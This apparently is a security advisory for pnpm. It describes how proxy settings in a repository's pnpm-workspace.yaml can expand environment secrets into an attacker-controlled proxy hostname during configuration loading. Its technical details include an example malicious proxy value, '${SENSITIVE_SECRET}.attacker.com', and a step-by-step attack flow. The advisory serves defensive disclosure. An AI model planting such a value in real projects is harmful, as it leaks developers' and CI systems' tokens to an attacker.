Description

pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.4",
  "pubDate": "2026-09-27T18:16:29.700Z",
  "pubdate": "2026-09-27T18:16:29.700Z",
  "executiveSummary": "This vulnerability involves an arbitrary environment variable expansion flaw within the pnpm-workspace.yaml configuration processing logic of pnpm. By failing to sanitize or restrict placeholder expansion in proxy-related configuration keys, pnpm allows repository-controlled files to trigger the resolution of sensitive local environment variables.\nAffected versions include pnpm 11.0.0 through 11.10.x and 10.7.0 through 10.34.4. The impact is critical, as it facilitates the unauthorized exfiltration of sensitive secrets, such as authentication tokens (e.g., NPM_TOKEN, GITHUB_TOKEN), by forcing the pnpm client to route network traffic through an attacker-controlled proxy hostname. An attacker can exploit this by enticing a victim to clone a malicious repository and execute a pnpm command. The vulnerability does not require lifecycle scripts to execute, as the exfiltration occurs during the initial configuration loading phase, significantly lowering the barrier for exploitation.\nThe risk is substantial for developers and CI/CD environments where environment variables are used to store credentials for package registries and version control systems. Successful exploitation allows for the redirection of outgoing requests, enabling the capture of sensitive authentication material via DNS lookups and HTTP request headers.",
  "technicalDetails": "The root cause of this vulnerability lies in the insecure handling of ${VAR} placeholders within the httpProxy, httpsProxy, and noProxy settings located in the pnpm-workspace.yaml file. While previous iterations of pnpm implemented restrictions on placeholder expansion for sensitive keys like registry, pnpmServer, registries, and namedRegistries, the proxy configuration keys were erroneously excluded from this protection mechanism.\nThe vulnerability allows for the implicit expansion of arbitrary environment variables into proxy-related configuration values. When a user runs a pnpm command, such as 'pnpm install', the configuration loading routine parses the pnpm-workspace.yaml file. During this parsing, the application processes the proxy settings and resolves any environment variable placeholders. Because the input is sourced from a repository-controlled manifest, an attacker can manipulate the proxy host or userinfo fields to inject placeholders corresponding to active environment variables present in the victim's local shell or CI/CD environment.\nThe attack flow proceeds as follows: 1) An attacker commits a malicious pnpm-workspace.yaml containing a proxy setting formatted as '${SENSITIVE_SECRET}.attacker.com'. 2) The victim clones the repository and executes a standard pnpm command. 3) During the initialization phase, pnpm loads the configuration, expanding the ${SENSITIVE_SECRET} variable into the proxy string. 4) The pnpm client attempts to route its network traffic—or performs a DNS resolution—using the now-populated malicious proxy address. 5) The attacker captures the exfiltrated sensitive data via the proxy's logs or intercepted DNS requests.\nThis behavior occurs before any lifecycle scripts (e.g., 'preinstall', 'postinstall') are triggered, making traditional sandbox-based script analysis ineffective against this vector. The lack of prior authorization or privilege requirements beyond having the victim execute a package management task renders this a high-impact, low-complexity attack surface. The exploitation is inherent to the workspace configuration parsing, bypassing standard security controls intended to prevent untrusted manifest execution."
}